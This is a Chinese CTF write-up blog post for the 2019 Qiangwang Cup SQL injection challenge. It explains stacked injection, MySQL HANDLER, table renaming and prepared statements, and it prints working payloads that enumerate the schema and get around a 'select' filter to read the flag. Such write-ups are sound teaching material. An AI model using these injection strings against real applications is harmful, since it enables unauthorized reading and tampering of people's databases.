[强网杯 2019]随便注 1

[强网杯 2019]随便注 1

审题

  1. 观察题目,判断可能是SQL注入,或者Linux命令执行,结合题目就是注入了

    image-20240112110017447

知识点

堆叠注入,handler命令执行,更改表名,预编译

知识点解析

  1. 堆叠注入

简单来说,堆叠注入就是按部就班一步步推出FLAG的位置。

首先,一般先查库名,再查表名。

然后,查出表名后查找表中的列。

最后求出列里的字段。

  1. handler命令

handler命令简介

mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。
HANDLER语句提供通往表的直接通道的存储引擎接口,可以用于MyISAM和InnoDB表。

handler语句的一般语法

handler table_name open 打开一张表

handler table_name read first 读取这张表的第一行数据

handler table_name read next 读取这张表的后一行内容

handler table_name read index_name first(next,prev,last)。通过索引查看内容,first第一行,next获取下一行,prev获取前一行,last获取最后一行。

handler table_name read index_name = X 指定从X行开始。

handler table_name close 关闭打开的语句

  1. 更改表名

使用alter table old_table rename to new_table;

使用alter table table_name change old_name new_name 新数据类型;

  1. 预编译

格式:

prepare name from 'SQL语句';
set @x=xx;
execute name using @x;

查询ID=flag的用户:

方法一:
select*from table_user where user_ID = flag

方法二:
prepare XX from 'select*from t_user where user_ID = flag';
execute XX;

方法三:
prepare XX from 'select*from t_user where user_ID = ?';
set @ID = flag;
execute XX using @ID;

方法四:
set @X='select*from t_user where user_ID = flag';
prepare XX from @X;
execute XX;

解题

  1. 查库名,1';show databases;#

image-20240112144630867

  1. 查表名,1';show tables;#

image-20240112144719390

  1. 查列名,1';show columns from 1919810931114514;#

image-20240112145020420

  1. 看到flag,但是select被过滤了,使用上面的知识进行答题。

方法一:handler命令

使用

1';handler `1919810931114514` open;handler `1919810931114514` read first;#

得到flag

方法二:更改表名

使用

1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#

将flag更改为word表中的id,在使用

1' or 1=1;#

直接得到答案。

方法三:预编译

使用

1';prepare XXX from concat('s','elect', ' * from `1919810931114514` ');execute XXX;#

使用命令拼出seclect得到答案。

posted @ 2024-01-12 15:04  follycat  阅读(20)  评论(0编辑  收藏  举报